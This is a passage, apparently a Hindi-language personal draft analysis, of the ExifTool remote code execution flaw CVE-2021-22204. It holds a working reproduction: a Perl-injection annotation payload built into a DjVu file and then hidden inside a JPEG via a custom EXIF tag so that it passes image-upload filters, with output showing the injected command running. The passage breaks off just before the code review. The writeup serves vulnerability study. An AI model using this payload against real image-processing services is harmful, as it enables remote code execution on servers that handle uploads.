
CVE-2021-22204 (ExifTool RCE) का गहन तकनीकी विश्लेषण, PoC पुनरुत्पादन, पेलोड निर्माण, और कमजोर DjVu एनोटेशन पार्सर की Perl कोड समीक्षा के साथ।
यह CVE-2021-22204 का विश्लेषण लेख होना चाहिए था, लेकिन यह मेरी ड्राफ्ट नोटबुक की तरह है, जो बहुत सारी अव्यवस्थित चीजों से भरी हुई है। भेद्यता विश्लेषण लेख के लिए यह कुछ हद तक अनावश्यक लगता है, लेकिन इसने मुझे बहुत कुछ सिखाया।
सच कहूँ तो, मैंने कभी इस उपकरण का उपयोग नहीं किया, और मैंने लगभग Perl भाषा को भी नहीं छुआ, जिसके कारण विश्लेषण और पुनरुत्पादन की प्रक्रिया में मेरे मन में बहुत सारे प्रश्न थे। विश्लेषण शुरू करने से पहले, आइए इंटरनेट पर पहले से प्रकाशित POC और मेरे मन के प्रश्नों को देखें।
एक लेख [1] देखा, जिसमें भेद्यता के कारणों का संक्षिप्त परिचय दिया गया है, लेकिन चूंकि मैं Perl कोड नहीं समझता, इसलिए कई जगह स्पष्ट नहीं थीं। इसका पुनरुत्पादन प्रक्रिया निम्नानुसार है:
exiftool का संस्करण 12.23 डाउनलोड करें
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
निकालें और स्थापित करें
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
बेशक, यदि आप इसे स्थापित नहीं करना चाहते हैं, तो आप सीधे exiftool-12.23 निर्देशिका के अंतर्गत exiftool फ़ाइल को पर्यावरण चर के पथ में रख सकते हैं, और फिर आप सीधे exiftool उपकरण का उपयोग कर सकते हैं, क्योंकि Perl एक व्याख्यात्मक भाषा है, Python की तरह।
एक दुर्भावनापूर्ण छवि बनाएं, पहले आवश्यक उपकरण स्थापित करें
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
एक दुर्भावनापूर्ण djvu फ़ाइल बनाने के लिए निम्नलिखित कमांड निष्पादित करें
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# यह सबसे भ्रामक हिस्सा है, मुझे समझ नहीं आता कि इसे संपीड़ित क्यों किया जाए (क्योंकि अन्य POC में इसकी आवश्यकता नहीं है)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = प्रारूप 'N,N' में कुछ भी जहां N एक संख्या है
# BGjp = एक JPEG छवि की अपेक्षा करता है, लेकिन हम पृष्ठभूमि छवि के रूप में /dev/null का उपयोग कर सकते हैं
# ANTz = इनपुट फ़ाइल के साथ संपीड़ित एनोटेशन खंड लिखेगा
फिर exiftool उपकरण के माध्यम से उस दुर्भावनापूर्ण फ़ाइल को पार्स करें, और id कमांड सफलतापूर्वक निष्पादित होता हुआ दिखाई देगा
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
पहले djvumake कमांड के माध्यम से djvu प्रारूप फ़ाइल बनाते समय, क्या payload को संपीड़ित नहीं किया जा सकता? क्योंकि विश्लेषण के दृष्टिकोण से यह देखने और परीक्षण करने में सुविधाजनक नहीं है। बेशक, बस पैरामीटर ANTz को ANTa से बदलें। यहां ANTz और ANTa का उल्लेख exiftool दस्तावेज़ [3] में किया गया है, लेकिन मैं अभी भी उनका सटीक अर्थ नहीं ढूंढ पाया क्योंकि कोई मानक स्पष्टीकरण नहीं मिला।
यहां एक शिकायत करूंगा, मैं
man djvumakeके माध्यम से पैरामीटर का विवरण देखना चाहता था, लेकिन इसमेंANTzऔरANTaके बारे में कोई स्पष्टीकरण नहीं था, दस्तावेज़ की तारीख 2001 थी, बहुत समय से अपडेट नहीं हुआ।
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa djvu फ़ाइल के अंदर metadata में स्पष्ट टेक्स्ट प्रारूप में Annotation संग्रहीत करता है, ANTz bzz संपीड़ित प्रारूप में।
लेकिन djvu प्रारूप फ़ाइलें आम नहीं हैं, विशेष रूप से वेबसाइटों पर छवि अपलोड करते समय, अधिकतर केवल png/jpg/jpeg जैसी फ़ाइलें स्वीकार की जाती हैं। इसलिए यदि दुर्भावनापूर्ण djvu फ़ाइल को jpg फ़ाइल में बदला जा सके, तो अच्छा होगा।
exiftool उपकरण हमें छवि की सामग्री को संशोधित करने में मदद कर सकता है, बस दुर्भावनापूर्ण djvu फ़ाइल को jpg फ़ाइल के उपयुक्त स्थान पर डालें, और विशिष्ट स्थान क्या है, और ऐसा क्यों हो सकता है, इसका विश्लेषण बाद में समझाया जाएगा।
एक exiftool कॉन्फ़िगरेशन फ़ाइल eval.config बनाएं
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b corresponds to Tag 'HasselbladExif'[6]
0xc51b => {
# नाम इच्छानुसार निर्दिष्ट किया जा सकता है, यह प्राप्त पैरामीटर का नाम है
Name => 'HasselbladExif',
# लिखने योग्य चर का प्रकार
Writable => 'string',
# डेटा किस Group[7] के metadata में लिखा जाएगा
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
exiftool कॉन्फ़िगरेशन फ़ाइल कैसे लिखें, इसके लिए [4][5] देखें। फिर एक सामान्य jpg छवि फ़ाइल poc.jpg लें और निम्नलिखित कमांड निष्पादित करें
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
फिर exiftool के माध्यम से poc.jpg को पार्स करें, कमांड सफलतापूर्वक निष्पादित होता है
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
निम्नलिखित विश्लेषण प्रक्रिया [2] की सामग्री पर आधारित है, भेद्यता से प्रभावित संस्करण exiftool < 12.24 है, और भेद्यता पैदा करने वाली फ़ाइल है
lib/Image/ExifTool/DjVu.pm (line 202)
संबंधित फ़ंक्शन कोड इस प्रकार है